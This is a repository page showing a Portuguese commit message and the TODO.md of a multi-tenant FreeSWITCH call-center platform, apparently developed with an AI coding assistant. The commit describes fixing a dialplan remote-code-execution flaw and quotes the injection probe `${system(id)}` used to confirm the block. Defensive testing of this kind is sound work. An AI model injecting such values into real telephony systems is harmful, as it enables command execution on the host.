Files
B2BCall-dialer/TODO.md
Matheus af46739af2 fix(telefonia): pickup de grupo funcionando de verdade + RCE no dialplan + domínio real no REGISTER
Pedido explícito do usuário: "testa criando um ramal com callgroup e captura
chamada de outro ramal". O teste com softphones reais (não só leitura de
código) achou 3 problemas que a fase anterior tinha dado como resolvidos:

1. A variable de call group estava com o nome errado (`call-group`, convenção
   do Asterisk) e a suposição de que o FreeSWITCH fazia pickup automático só
   com ela era falsa. Corrigido pro nome certo (`callgroup`) e pro mecanismo
   real (fork de leg `pickup/<grupo>` no bridge + extension `*8` chamando a
   application `pickup`, lendo o grupo via `${user_data(...)}`).

2. Implementando o mecanismo acima, achada uma vulnerabilidade real de RCE: o
   allowlist de `application` no dialplan nunca bloqueava `${system(...)}`
   embutido dentro do `data` de qualquer application já permitida —
   `mod_commands` está carregado, então isso era execução de comando
   arbitrário no host do FreeSWITCH pra qualquer Tenant Admin. Corrigido com
   um segundo allowlist (`ALLOWED_INLINE_API_FUNCTIONS` +
   `IsSafeDialplanData`) que só libera funções de leitura seguras
   (`user_data`, `escape`, `url_encode`, `url_decode`, `regex`, `strftime`).

3. Registrar um softphone de verdade contra o domínio do tenant (não só curl
   no mod_xml_curl) revelava 403 Forbidden: o sofia profile `internal` tinha
   `force-register-domain`/`force-subscription-domain`/
   `force-register-db-domain` fixados no domínio antigo, ignorando o domínio
   de cada tenant. Corrigido no Dockerfile do FreeSWITCH (imagem
   reconstruída, não só patch ao vivo).

Testado ponta a ponta com 3 softphones reais (linphone-cli) em containers na
mesma rede Docker: ramal do mesmo grupo captura de verdade uma ligação
tocando em outro ramal via *8 (canais confirmados bridged via `show
channels`); ramal de grupo diferente tenta e falha. RCE confirmado bloqueado
via curl (`${system(id)}` → 400) sem quebrar `${user_data(...)}` legítimo.

TODO.md (PHASE 53) e docs/EXTENSIONS.md atualizados corrigindo as afirmações
incompletas da fase anterior ("nenhuma mudança de infra necessária").

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BFaBaBSQGhyXGEgtTYZGV8
2026-08-30 15:24:58 -03:00

127 KiB
Raw Blame History

TODO — B2BCall

PHASE 01 — Infrastructure

  • Diagnóstico do servidor (Debian 13, 2 vCPU, ~1.9GB RAM, 26GB disco livre)
  • Docker + Docker Compose instalados
  • Estrutura de monorepo criada (apps/, packages/, infrastructure/, scripts/, docs/)
  • PostgreSQL 18 (docker-compose, porta 127.0.0.1:5432)
  • Redis 7 (docker-compose, porta 127.0.0.1:6379)
  • Secrets gerados em .env (POSTGRES_PASSWORD, REDIS_PASSWORD, JWT_SECRET, JWT_REFRESH_SECRET, ENCRYPTION_KEY, ESL_PASSWORD)
  • FREESWITCH_PAT configurado em .env (não commitado)
  • FreeSWITCH (imagem própria via pacotes SignalWire, não compilada da fonte — ver docs/FREESWITCH.md; rodando, saudável, ~44MB RAM, senha ESL customizada, nenhuma porta exposta ao host)
  • nginx (reverse proxy)

PHASE 05 — FreeSWITCH (agente.md secao 232)

  • Imagem própria (infrastructure/freeswitch/), pacotes SignalWire (PAT via BuildKit secret, nunca na imagem final — verificado com docker history)
  • Módulos mínimos carregados: sofia, event_socket, commands, dptools, callcenter, avmd, curl, local_stream, etc. (mod_xml_curl instalado mas desativado até existir b2bcall-fs-config)
  • Senha do Event Socket trocada da padrão via entrypoint runtime (nunca fica na imagem); porta 8021 não publicada no host
  • docs/FREESWITCH.md, docs/NETWORK_ARCHITECTURE.md (decisão de network_mode adiada pra quando existir tronco SIP real)
  • Diretório/dialplan ainda são os estáticos da config vanilla (ramais de teste 1000-1019, senhas fracas) — substituir por mod_xml_curl na fase Extensions/Trunks/Dialplan

PHASE 06 — Event Socket (agente.md secao 21-25, 195)

  • packages/telephony: interface TelephonyProvider + FreeSwitchTelephonyProvider (sobre a lib esl, reconexão com backoff já embutida na lib)
  • normalizeEslEvent(): eventos ESL crus → vocabulário interno (secao 24)
  • apps/freeswitch-events (b2bcall-fs-events): conexão ESL permanente, resubscreve a cada reconexão, publica eventos normalizados no canal Redis b2bcall:events
  • Achado: FreeSWITCH 1.11 aplica ACL implícita (só loopback) sem apply-inbound-acl — bloqueava conexão de outro container mesmo com senha certa. Corrigido com ACL própria cobrindo loopback + rede Docker.
  • Testado ponta a ponta com chamada loopback local: CALL_CREATED → CALL_ANSWERED → CALL_ENDED corretos no Redis
  • Reconciliação pós-reconexão (calls/agents/queues/registrations/gateways) — não é possível ainda, sem essas tabelas persistidas

PHASE 07 — XML Curl (agente.md secao 26)

  • apps/freeswitch-config (b2bcall-fs-config): responde ao protocolo XML Curl do FreeSWITCH (POST form-encoded → XML), containerizado
  • mod_xml_curl reativado, binding restrito a directory|dialplan (não configuration — evita chamadas HTTP desnecessárias no boot)
  • Por enquanto sempre "not found" (sem tabela extensions/dialplan ainda); verificado que a config estática vanilla continua funcionando como fallback (user/8888 → SUBSCRIBER_ABSENT via fs-config, user/1000 → USER_NOT_REGISTERED via config estática — achou o usuário)
  • Sem autenticação HTTP ainda — ok enquanto só responde "not found"; adicionar gateway-credentials antes de servir directory/dialplan reais

PHASE 02 — SaaS Core

  • Monorepo Node.js/TypeScript (pnpm workspaces, tsconfig base)
  • Node 22 LTS + pnpm instalados no host
  • packages/database (Prisma 7 + driver adapter pg, migration inicial)
  • packages/types (TenantStatus, AgentState), packages/shared
  • Tabela tenants criada via migration (seção 29 do agente.md)

PHASE 03 — Tenant Isolation

  • Tabelas users + tenant_memberships (tenant-scoped)
  • RLS (ENABLE/FORCE ROW LEVEL SECURITY + policy) em tenant_memberships
  • Tenant context via set_config('app.current_tenant_id', ..., true) (transaction-local)
  • Helper withTenantContext() em packages/database
  • Role de banco separado para runtime (b2bcall_app, sem SUPERUSER/BYPASSRLS) — achado crítico: o role padrão do Docker Postgres é SUPERUSER e SEMPRE ignora RLS, até com FORCE. Ver docs/TENANT_ISOLATION.md.
  • Teste automatizado de isolamento (pnpm --filter @b2bcall/database run test:isolation)

PHASE 04 — Authentication / RBAC

  • packages/auth: hash Argon2id (@node-rs/argon2), JWT access token (jose), refresh token opaco com rotation
  • Tabelas roles, permissions, role_permissions, user_roles, sessions, audit_logs
  • login() / refreshSession() / logout() / listUserTenants() / setActiveTenant()
  • userHasPermission() (RBAC com scope PLATFORM/TENANT)
  • Seed: catálogo de permissions + roles de sistema + Platform Super Admin inicial (senha em FIRST_LOGIN.txt, fora do Git, mustChangePassword=true)
  • Teste automatizado (pnpm --filter @b2bcall/auth run test:auth)
  • apps/api (NestJS + Fastify): endpoints de auth, JwtAuthGuard, DomainExceptionFilter, rate limit de login via Redis (5/min por IP e por e-mail), helmet/cors, health checks — testado ponta a ponta com curl (login, refresh rotation, logout, RBAC, 401/403/429)
  • Password reset por e-mail — depende de SMTP configurado

PHASE 08 — Extensions (agente.md secao 39-40, 178)

  • Tabela extensions (tenant-scoped, RLS) — number, sip_password_enc, caller_id, context, sofia_profile, codecs, max_registrations
  • packages/shared/src/crypto.ts: AES-256-GCM (senha SIP cifrada em repouso), generateStrongPassword(), maskSecret()
  • apps/api/src/extensions: CRUD (POST/GET/GET:id/DELETE), RBAC via novo PermissionGuard genérico (@RequirePermission), tenant só do JWT
  • Senha SIP só aparece em texto puro na resposta do POST, nunca depois (destructuring explícito, não spread — evita vazamento por acidente)
  • b2bcall-fs-config resolve directory real: Tenant.telephonyDomain → Extension.number, decifra a senha, monta XML com dial-string
  • Tenant.telephonyDomain fixo (b2bcall.local) via patch no vars.xml do FreeSWITCH — antes usava o IP dinâmico do container, instável
  • HTTP Basic auth entre FreeSWITCH e fs-config (gateway-credentials, timingSafeEqual) — adicionada nesta mesma fase, não deixada pendente
  • Testado ponta a ponta: criar ramal → user/1500 dá USER_NOT_REGISTERED (achou, sem telefone) → deletar → volta a SUBSCRIBER_ABSENT
  • Achado: PermissionGuard injetando Reflector via construtor dava undefined em runtime rodando via tsx/esbuild (emissão de metadata de tipo não é 100% confiável cross-file) — corrigido com @Inject() explícito; atenção pra isso em guards/services futuros
  • Quota de ramais — depende de Plans/Entitlements (não existe ainda)
  • Multi-domínio real por tenant — hoje só um domínio fixo pra todos

PHASE 09 — Trunks (agente.md secao 41-42)

  • Tabela trunks (tenant-scoped, RLS) — host/proxy/realm, register, username/password_enc (AES-256-GCM), dtmf_mode, ping, transport, status/status_updated_at
  • apps/api/src/trunks: CRUD (POST/GET/GET:id/DELETE), mesmo padrão de RBAC/tenant de Extensions, senha nunca exposta em nenhum GET
  • packages/telephony: buildGatewayXml() (XML de gateway Sofia)
  • b2bcall-fs-config: gera sip_profiles/external/<trunk_id>.xml (volume Docker compartilhado com o FreeSWITCH) e roda sofia profile external rescan via ESL — sincroniza no boot e sob demanda via Redis pub/sub (b2bcall:trunks:sync, publicado pela API a cada create/delete)
  • Achado: 1º sync no boot corria antes da conexão ESL terminar de se estabelecer (erro cosmético) — corrigido com FreeSwitchTelephonyProvider.waitUntilConnected()
  • Testado ponta a ponta com host fake: criar trunk → arquivo gerado → sofia status gateway mostra o gateway real (FAIL_WAIT, esperado) → deletar → arquivo removido (limpeza também tirou o example.com da vanilla que tinha sido copiado pro volume — comportamento correto)
  • Lacuna real, não resolvida: Trunk.status deveria ser atualizado via eventos sofia::gateway_state (código escrito em apps/freeswitch-events/src/trunk-status.ts, baseado no mesmo normalizeEslEvent já testado pra eventos CHANNEL_), mas o evento não foi observado chegando em ~90s de monitoramento mesmo com o gateway mudando de estado de verdade no FreeSWITCH (FAIL_WAIT/DOWN). Os eventos sofia::* (CUSTOM) nunca foram provados funcionando nesta sessão — só CHANNEL_ foi verificado de ponta a ponta até agora. Precisa de investigação com um alvo SIP real (outro FreeSWITCH, por exemplo) antes de confiar em atualização automática de status em produção. Ver docs/TRUNKS.md.
  • Quota de troncos — depende de Plans/Entitlements (não existe ainda)

PHASE 10 — Dialplan (agente.md secao 43-44)

  • dialplan_extensions (tenant-scoped, RLS) — editor estruturado: context, condition field/expr, actions/anti-actions (JSON), continue, order, enabled

  • dialplan_versions (tenant-scoped, RLS) — gerar/validar/versionar/ ativar; reativar versão antiga = rollback (sem endpoint separado)

  • apps/api/src/dialplan: extensions CRUD + versions/generate + versions/:id/activate, permissions freeswitch.view/.configure

  • Allowlist de applications seguras (ALLOWED_DIALPLAN_APPLICATIONS, sem system/exec/etc — agente.md secao 180)

  • b2bcall-fs-config serve a versão ACTIVE dinamicamente por chamada (resolve tenant via variable_b2bcall_tenant_id, não domain — não sofre da limitação de multi-domínio do directory)

  • Testado ponta a ponta: criar extension → gerar v1 → ativar → originate passando pelo dialplan de verdade → CALL_CREATED/ANSWERED/ENDED com tenantId correto. Criar v2 → ativar (v1 vira SUPERSEDED) → reativar v1 (rollback, v2 vira SUPERSEDED). Tudo confirmado via API.

  • ACHADO CRÍTICO, corrigido nesta fase: testando a allowlist com application: "system", a API aceitou (201) — ValidationPipe do Nest estava completamente inoperante em toda apps/api desde que ela foi criada (todo @Body(), todos os controllers) porque tsx (esbuild) não emite design:paramtypes corretamente pra tipos importados de outro arquivo, e o Nest pula validação silenciosamente quando não reconhece o tipo. Corrigido: apps/api agora builda com tsc de verdade antes de rodar (tsc && tsx dist/main.js) — nunca mais tsx src/main.ts direto. Ver docs/VALIDATION_PIPE_BUG.md. Reverificado com 2 testes deliberados pós-correção, ambos corretamente rejeitados com 400.

  • Só 1 condition por extension (simplificação) — FreeSWITCH suporta múltiplas em sequência, não implementado

  • dialplan.view/.manage não existem — reusei freeswitch.*

PHASE 11 — mod_callcenter / Queues (agente.md secao 37, 50-51)

  • Investigado help callcenter_config real antes de codar: filas só têm load/unload/reload (XML estático + reload, sem queue add); agentes e tiers são 100% dinâmicos via comando ESL (agent add, tier add) — próxima fase, sem arquivo nenhum
  • queues table (tenant-scoped, RLS) — strategy, moh/announce, wait times, tier rules, discard/abandoned, skip-external-calls, recording_enabled
  • packages/telephony: buildQueueXml()
  • overrides/autoload_configs/callcenter.conf.xml própria (zera agents/tiers estáticos da vanilla, inclui callcenter_queues.conf.d/*.xml via X-PRE-PROCESS)
  • apps/api/src/queues: CRUD (POST/GET/GET:id/DELETE), permissions queues.view/.manage
  • b2bcall-fs-config (queue-sync.ts): 1 arquivo por fila (volume compartilhado), sincroniza via Redis pub/sub (b2bcall:queues:sync)
  • Achado real, confirmado testando manualmente antes de escrever código: queue load falha se o arquivo foi adicionado depois do boot — precisa de reloadxml primeiro; depois disso, queue reload sozinho serve tanto pra criar quanto atualizar
  • Testado ponta a ponta: criar fila (ROUND_ROBIN, maxWaitTime=120, discardAbandonedAfter=90) → callcenter_config queue list mostra os parâmetros corretos → deletar → lista volta vazia
  • Agentes/Tiers/Pausas (secao 45-49) — próxima fase
  • Monitoramento em tempo real (secao 54) — depende de WebSocket
  • Quota de filas — depende de Plans/Entitlements

PHASE 12 — Agentes, Tiers, Pausas (agente.md secao 45-49, 52)

  • agents/tiers/agent_sessions/agent_state_events/ pause_reasons/agent_pause_events (tenant-scoped, RLS) — separa User/Agent/Extension (secao 45)
  • Corrigidos bugs reais em FreeSwitchTelephonyProvider (nunca testados antes): addAgentToQueue/removeAgentFromQueue usavam "queue add/del member", que não existe — comando certo é tier add/tier del. Adicionados addAgent/removeAgent (agent add/agent del), que faltavam por completo.
  • Confirmado manualmente antes de codar: agent add/tier add duplicado dá erro ("already exist", capturado e ignorado no sync); agent del/tier del em algo inexistente não dá erro; agent set status só aceita Available/On Break/Logged Out
  • Sync 100% dinâmico via ESL (sem arquivo, diferente de Trunks/Queues): b2bcall:agents:sync/b2bcall:tiers:sync (Redis pub/sub com payload por ação, não um resync geral)
  • apps/api: /agents (CRUD provisionamento), /agents/me/login| logout|pause|resume (sempre sobre o agente do usuário autenticado, nunca um id arbitrário do client), /pause-reasons, /queues/:id/agents (tier assignment)
  • Achado de corrida real, visto no teste ponta a ponta: atribuir tier antes do primeiro login falha (agente ainda não existe no FreeSWITCH) — login sempre re-sincroniza todos os tiers do agente, autocorrigindo. Confirmado acontecendo exatamente assim no teste.
  • Testado ponta a ponta os 4 estados: login→Available, pause→On Break, resume→Available, logout→Logged Out — todos confirmados batendo entre Agent.state (banco) e callcenter_config agent list (FreeSWITCH)
  • Estados derivados de chamada (RINGING/IN_CALL/WRAP_UP/RESERVED) — mecanismo de entrega do callcenter::info corrigido e confirmado (ver PHASE 13); persistir em Agent.state ainda não implementado
  • PauseReason.maxDuration não é aplicado automaticamente
  • Quota de agentes — depende de Plans/Entitlements
  • Achado sistêmico: @@unique combinado com soft delete (sem excluir deletedAt) em Agent/Extension/Trunk/Queue/PauseReason — não dá pra reusar número/nome/código depois de apagar. Precisa de índice único parcial em cada um, migration própria (ver docs/AGENTS.md)

PHASE 13 — Realtime Monitoring / WebSocket multi-tenant (agente.md secao 54-55, 161)

  • Bug real, achado nesta fase: nenhum evento CUSTOM do ESL (sofia::register, sofia::gateway_state, callcenter::info) jamais chegava em b2bcall-fs-eventsevent_json(...) mandava "CUSTOM" como último token do comando event json, sem subclass depois (mod_event_socket exige os subclasses logo depois do token CUSTOM no mesmo comando). Corrigido separando PLAIN_EVENTS/CUSTOM_SUBCLASSES. Resolve as lacunas documentadas em PHASE 09/12 e docs/TRUNKS.md/AGENTS.md.
  • Corrigido de quebra: CC-Agent-Status (não existe) → CC-Agent-State (campo real); novos tipos normalizados AGENT_OFFERED_CALL, AGENT_BRIDGE_FAILED, QUEUE_MEMBER_COUNT, QUEUE_MEMBER_LEFT
  • Corrigido de quebra: sofia profile external rescan nunca descarregava um gateway cujo arquivo foi apagado (fantasma na memória do Sofia) — trunk-sync.ts agora roda killgw <nome> pra cada gateway removido
  • tenant-resolve.ts (fs-events): resolve tenantId por fan-out (agente/fila não carregam b2bcall_tenant_id — só existe a partir do Predictive Engine), cacheado por id
  • apps/api: RealtimeGateway (socket.io sobre o Fastify HTTP server), auth via JWT no handshake (monitoring.view), uma room por tenant (tenant:<id>) — nunca broadcast global, sempre server.to(room) (secao 161: tenant-scoped no servidor, nunca filtrar só no browser)
  • RealtimeRedisBridge: assina b2bcall:events (canal único, mesmo usado desde Event Socket), reencaminha pro tenant certo
  • AGENT_STATE_CHANGED publicado direto de agents-me.controller.ts (login/logout/pause/resume) — tenantId já vem do JWT, sem fan-out
  • Testado ponta a ponta: login/pause/resume/logout via WS, chamada de teste numa fila real (QUEUE_MEMBER_COUNT/LEFT, AGENT_OFFERED_CALL, AGENT_BRIDGE_FAILED, AGENT_STATUS_CHANGED com CC-Agent-State correto), token inválido desconectado na hora
  • Ramais/extensões (secao 55 completa: busy/registro) — precisa de SIP real pra testar, e extrair ramal dos headers de canal (não feito)
  • TME/TMA/Service Level/Abandon Rate — dependem de CDR (fase futura)
  • Snapshot/reconciliação ao reconectar o WebSocket

PHASE 14 — Plans/Entitlements (agente.md secao 56-62)

  • Fase que tinha ficado pra trás: a ordem de implementação (secao 232) coloca Plans/Entitlements logo depois de PostgreSQL RLS, bem antes de FreeSWITCH — mas o build seguiu direto sem essa peça. Toda fase desde então documentou "quota depende de Plans/Entitlements" como pendência. Fechado agora, antes de Campanhas (que dependem de max_campaigns) e do CPS Limiter (que vai depender de max_cps)
  • plans (catálogo compartilhado, sem RLS — não é tenant-scoped) + tenants.plan_id obrigatório (nunca null: campo de limite null = "sem limite", nunca "sem plano", agente.md secao 56)
  • Migration hand-escrita: cria plans, insere seed "trial", faz backfill de plan_id pros tenants existentes, só depois NOT NULL (Postgres não deixa NOT NULL sem default em tabela não-vazia)
  • packages/entitlements (pacote novo): assertQuota/ assertFeatureEnabled, erros mapeados pra 403 no DomainExceptionFilter
  • Retrofit nos controllers existentes: Extensions/Trunks/Agents/Queues agora contam linhas ativas e checam quota antes de criar
  • Testado ponta a ponta: 5 extensões OK (limite do trial), 6a rejeitada com 403 "Quota excedida: maxExtensions (limite do plano: 5)"

PHASE 15 — Campanhas, Leads, Lista de Bloqueio (agente.md secao 63-71)

  • campaigns/leads/suppression_entries (tenant-scoped, RLS) — só modelo/CRUD/máquina de estados; o motor que origina chamadas de verdade (PredictiveDialerEngine) é uma fase à parte, deliberadamente não implementada aqui (agente.md secao 72: "não é só for lead -> originate")
  • Máquina de estados da campanha (secao 64-66): start/pause/drain/stop com tabela de transições válidas — tentar uma transição inválida (ex.: pause numa DRAFT) retorna 400, nunca ignora silenciosamente
  • packages/shared/src/phone.ts (secao 70): normalização dedicada, preparada pra E.164 completo, só BR implementado por enquanto
  • Importação CSV em batches de 1000 (secao 69): detecta duplicado (dentro do CSV + contra leads já existentes), checa lista de bloqueio (importa como DO_NOT_CALL, não descarta), retorna resumo {total, valid, invalid, duplicates, imported, suppressed}
  • Lista de bloqueio (secao 71): CRUD tenant-scoped
  • Testado ponta a ponta: campanha com queueId/trunkId inválido rejeitada, pacingMin > pacingMax rejeitado, CSV de 5 linhas (1 inválida, 1 duplicada, 1 bloqueada) importado corretamente, start->pause->drain->stop e transições inválidas todas corretas, 3a campanha rejeitada por quota (max_campaigns=2 do plano trial)
  • PredictiveDialerEngine (secao 72-86) — dados em tempo real, EWMA, CPS distribuído, reserva atômica de lead, lock de campanha, originate via bgapi, state machine da chamada, controle de abandono, retry — implementado na PHASE 16
  • Wizard visual de importação (upload de arquivo) — fase Frontend
  • Relatório de campanha (secao 160) — depende de CDR

PHASE 16 — CPS Limiter / Predictive Dialer Engine (agente.md secao 72-86, 77-79)

  • Novo serviço apps/predictive-dialer (mesmo padrão de fs-events/ fs-config: Node standalone em Docker, ESL própria, tick a cada 2s sobre tenants ativos x campanhas RUNNING/WAITING_SCHEDULE)
  • Lock de campanha (dialer:campaign:{id}, secao 79): TTL, ownership token, renewal, safe release (Lua compare-and-delete) — testado isolado, outro dono nunca rouba nem renova o lock de quem já tem
  • CPS distribuído (secao 77, 62): token bucket janela de 1s (Lua atômico), hierarquia GLOBAL/TENANT/TRUNK/CAMPAIGN numa única chamada — testado isolado, nível esgotado bloqueia todos SEM incremento parcial dos que passariam
  • Reserva atômica de leads (secao 78): FOR UPDATE SKIP LOCKED raw SQL dentro da mesma transação withTenantContext
  • CallAttempt/CampaignStats (schema novo): state machine da chamada (secao 82) + EWMA (secao 75, alpha=0.25) de answer_probability/average_answer_delay/average_talk_time/ abandon_rate, persistida por campanha
  • Capacidade em tempo real + pacing (secao 73-76, 84-85): conta agentes por estado via Tier->Agent.state, previsão de liberação simplificada (horizonte único de 15s em vez dos 4 buckets da especificação), controle de abandono reduz pacing progressivamente, nunca origina sem capacidade prevista
  • Modo simulação (secao 185): DIALER_SIMULATION=true (default) sorteia ANSWER/BUSY/NO_ANSWER/FAILED em software, sem PSTN real. Só quando ANSWERED é que uma chamada sintética (null/dummy, sem PSTN) entra na fila real via mod_callcenter de verdade — maximiza código real exercitado em vez de simular tudo em memória
  • Real Outbound Safety (secao 186): as duas flags (DIALER_SIMULATION=false + ALLOW_REAL_OUTBOUND_CALLS=true) checadas no boot, nunca ativado automaticamente — caminho PSTN real implementado mas nunca exercitado (sem trunk real neste laboratório)
  • Bug real, achado no teste desta fase: perna sintética (null/ dummy) não tem mídia do outro lado — nunca desliga sozinha depois de bridgear com um agente. Corrigido com hangup agendado via uuid_kill no talk_time simulado.
  • Bug real, achado no teste desta fase: corrida entre queue:sync e tier:sync (dois canais Redis independentes, sem ordem garantida) — atribuir tier logo depois de criar a fila podia rodar tier add antes do queue reload terminar ("-ERR Queue not found!", diferente do já conhecido "already exist"). Corrigido com retry curto em agent-sync.ts::addTierWithRetry.
  • GET /campaigns/:id/stats (secao 227.7 "visualizar pacing"): CampaignStats + contagem de agentes por estado + calls em andamento
  • Testado ponta a ponta: campanha RUNNING originando 3 tentativas por tick, outcomes simulados corretos com retry agendado, uma chamada simulada-ANSWERED completando o ciclo real inteiro (queue -> agente -> bridge -> hangup -> EWMA atualizada), stop não derruba chamada ativa (secao 66), calls_answered=3 confirmado no queue list do FreeSWITCH ao final
  • Previsão de 4 buckets (5/10/15/20s, secao 74) — simplificado pra um único horizonte de 15s
  • mod_avmd (secao 87), callbacks agendados (secao 88), disposições de agente (secao 89) — fora do escopo, ficam pra fase CDR
  • CPS a nível de trunk — só aplica quando o caminho PSTN real rodar
  • Relatório de campanha (secao 160), TME/TMA/Service Level/Abandon Rate agregados — implementado na PHASE 17

PHASE 17 — CDR (agente.md secao 152-160)

  • calls/call_legs/call_events (tenant-scoped, RLS) + dispositions (secao 89). dial_attempts da especificação não virou tabela nova — CallAttempt (fase Predictive Engine) já cobre o conceito; Call.attemptId liga um Call à sua tentativa
  • apps/freeswitch-events/src/cdr.ts: cada NormalizedEvent relevante faz upsert em Call + insere em call_events; CALL_ENDED calcula os agregados em segundos (secao 155-156: ringTime/waitTime/talkTime/ durationSeconds/billableSeconds)
  • Bug real, achado no teste desta fase: AGENT_OFFERED_CALL/ AGENT_BRIDGE_FAILED disparam de uma thread interna do mod_callcenter sem contexto de channel — não têm header Unique-ID, então callUuid ficava undefined e os dois eram descartados silenciosamente (Call.queueId/agentId nunca preenchidos mesmo com bridge/falha de bridge reais). Corrigido com fallback pro CC-Member-Session-UUID (data.memberSessionUuid).
  • Bug real, achado no teste desta fase: corrida entre CALL_CREATED/CALL_ANSWERED (persistCallEvent roda sem await, cada evento abre sua própria transação) podia fazer answerAt aparecer antes de createdAt quando o upsert que criava a linha usava now() do momento errado. Corrigido setando createdAt explicito a partir de normalized.occurredAt no branch de criação.
  • GET /reports/queues (secao 159): recebidas/atendidas/abandonadas/ TME/TMA/Service Level/Abandon Rate por fila
  • GET /reports/agents (secao 158): tempo logado/pausado/por estado (AgentStateEvent pareado) + chamadas atendidas/TMA
  • GET /reports/campaigns (secao 160): leads/attempts/answered/agent connected/busy/no answer/failed/callbacks/rates/TME/TMA — "Valor Telefonia"/"Valor IA" ficam null (dependem de Billing)
  • GET /calls (secao 157, filtros por data/ramal/agente/fila/ campanha/trunk/telefone/hangup cause/disposição) + PATCH /calls/ :id/disposition (secao 89, o próprio agente que atendeu marca, ou supervisor com agents.manage)
  • Testado ponta a ponta: campanha com 5 leads, 3 ANSWERED simulados entrando na fila real, Call.queueId/agentId/hangupCause corretos (confirmando a correção da correlação), createdAt<=answerAt em todos, durationSeconds batendo com discard_abandoned_after; os 3 relatórios com números internamente consistentes entre si e com os logs do discador; disposição gravada com ownership check correto
  • extensionId/sipCallId/callerNumber/calledNumber — não populados ainda (nenhum evento atual carrega esses dados de forma confiável)
  • direction: só distingue OUTBOUND (tem campanha) de INTERNAL — detecção de INBOUND de verdade não implementada
  • call_legs — schema existe, nada escreve ainda (só faz sentido com transferência entre uuids)
  • Cross-tenant reports pra platform admin (secao 157) — sem console de plataforma ainda

PHASE 18 — Recording / Object Storage (agente.md secao 90-94)

  • packages/storage: ObjectStorageProvider (secao 92) — Local (filesystem, com checagem de path traversal) e S3-compatible (@aws-sdk/client-s3, preparado pra MinIO — nunca exercitado nesta sessão, sem servidor S3 disponível). Escolhido por STORAGE_PROVIDER env, cada processo monta o seu
  • buildRecordingObjectKey (secao 93): tenants/{tenant_id}/recordings/YYYY/MM/DD/{call_id}.wav, sempre montada no servidor
  • Bind mounts (não volumes nomeados) pro spool de gravação e pro storage local — apps/api roda no host, precisa enxergar os mesmos arquivos que fs-events escreve (mesmo padrão de REDIS_URL)
  • apps/predictive-dialer: RECORD_STEREO=true + execute_on_answer='record_session ...' quando Campaign.recordingEnabledorigination_uuid pré-gerado pra poder montar o path de gravação antes do originate
  • apps/freeswitch-events/src/recording.ts: em CALL_ENDED (encadeado depois do CDR terminar, não em paralelo — evita a mesma corrida já corrigida na fase CDR), sobe a gravação, cria Recording (retentionUntil a partir de Plan.recordingRetentionDays), apaga o spool local
  • GET /recordings, GET /recordings/:id, GET /recordings/:id/audio (stream autenticado, nunca URL direta pro storage)
  • Retenção (secao 94): runRetentionSweep no boot do apps/api + a cada hora — apaga o objeto, marca status=DELETED (linha nunca apagada, fica como auditoria)
  • Bug real, achado no teste desta fase: Recording.sizeBytes (BigInt) quebrava GET /recordings com 500 — Fastify não serializa BigInt nativamente (mesma classe de bug já corrigida uma vez no logger). Corrigido convertendo pra number na resposta.
  • Testado ponta a ponta: gravação real criada (RIFF WAVE, PCM 16-bit, ESTÉREO 8000Hz — RECORD_STEREO confirmado), upload com path exato da secao 93, download via API com md5 idêntico ao objeto original, varredura de retenção apagando objeto + status DELETED + list/ download bloqueados depois
  • Chamadas manuais/internas não são gravadas — só o caminho do discador tem originate próprio
  • max_recording_storage_gb (Plan) existe mas não é aplicado
  • Transcrição (secao 95+, fase IA) — implementado parcialmente na PHASE 19 (só o Provider Layer; pipeline/transcrição real na PHASE 20)

PHASE 19 — IA: Provider Layer (agente.md secao 95-103)

  • Schema completo do módulo de IA numa única migration (todas as tabelas das secoes 95-124: providers/models/prompts/jobs/ transcriptions/analyses/scorecards/usage) — código só pro Provider Layer nesta fase, resto vem em fases separadas
  • packages/ai: interface AIProvider (secao 96, nunca hardcoda OpenAI no domínio), OpenAIProvider/AnthropicProvider (secao 97-98, nomenclatura "OpenAI API"/"Anthropic API" nunca "ChatGPT"), SensitiveDataRedactor (secao 123, CPF/CNPJ/telefone/email/cartão)
  • Nunca exercitados contra rede real: adapters OpenAI/Anthropic — esta sessão só tem autorização de rede pro servidor git (restrição desde o primeiro pedido do usuário)
  • ai_providers/ai_models: global (platform admin, visível de qualquer tenant) vs. BYOK (secao 100-101) — RLS híbrida (tenant_id = current OR tenant_id IS NULL, mesma técnica de tenant_memberships no login), escrita em GLOBAL exige isPlatformUser na camada de serviço, key nunca reexposta (apiKeyPreview)
  • Bug real, achado no teste desta fase: delete de provider fazia hard delete, bloqueado por FK quando um AIModel (mesmo soft-deleted) ainda referenciava — inconsistente com o resto do sistema (tudo soft delete). Corrigido; GET /ai/providers também não filtrava desabilitados, corrigido junto.
  • Bug real, achado no teste do redactor: \b antes de \(? opcional falha quando o char anterior também não é de palavra (espaço + () — vazava um parêntese solto. Corrigido com (?<!\w).
  • Testado ponta a ponta com 2 tenants + platform admin: GLOBAL só platform admin cria/apaga, BYOK isolado por RLS (tenant B nunca vê BYOK do tenant A, 404 em id direto), modelo de provider GLOBAL visível dos dois tenants, redactor com 5 tipos de dado sensível
  • Pipeline assíncrono pós-CALL_ENDED, transcrição/análise/prompts — PHASE 20 (scorecards/usage metering completo ficam pra PHASE 21)

PHASE 20 — IA: Pipeline (agente.md secao 104-116) — ver docs/AI_PIPELINE.md

  • packages/ai: privacy.ts (cascata Tenant>Queue>Campaign, secao 122), retry.ts (backoff exponencial + dead-letter, secao 108), call-analysis-schema.ts (schema JSON + validação manual do resultado, secao 112-113), wav-stereo-split.ts (parser WAV RIFF próprio, separa estéreo em 2 mono pra transcrever cada canal independente, sem depender de diarização probabilística nem ffmpeg)
  • apps/freeswitch-events/src/ai-trigger.ts: decide (entitlement do Plan + cascata de privacidade, as duas precisam passar) se uma gravação recém-AVAILABLE vira um AIJob(TRANSCRIPTION) — encadeado em recording.ts logo após Recording.create
  • packages/entitlements: isFeatureEnabled (versão não-lançante de assertFeatureEnabled, pra decisões em background)
  • apps/ai-worker (serviço novo, Docker): tick poll com FOR UPDATE SKIP LOCKED (mesmo padrão de lead-reservation.ts), resolve provider/modelo (BYOK do tenant > GLOBAL da plataforma, primeira capability compatível), processa TRANSCRIPTION (baixa do object storage, separa estéreo, transcreve os 2 canais, persiste CallTranscription+CallTranscriptSegment+AIUsageRecord, encadeia ANALYSIS se a privacidade permitir) e ANALYSIS (resolve AIPromptTemplate com override de Campaign, redige dados sensíveis SEMPRE antes de mandar pro provider — independente do nível de privacidade, que só controla SE roda —, valida o resultado, persiste CallAIAnalysis+3 AIUsageRecord)
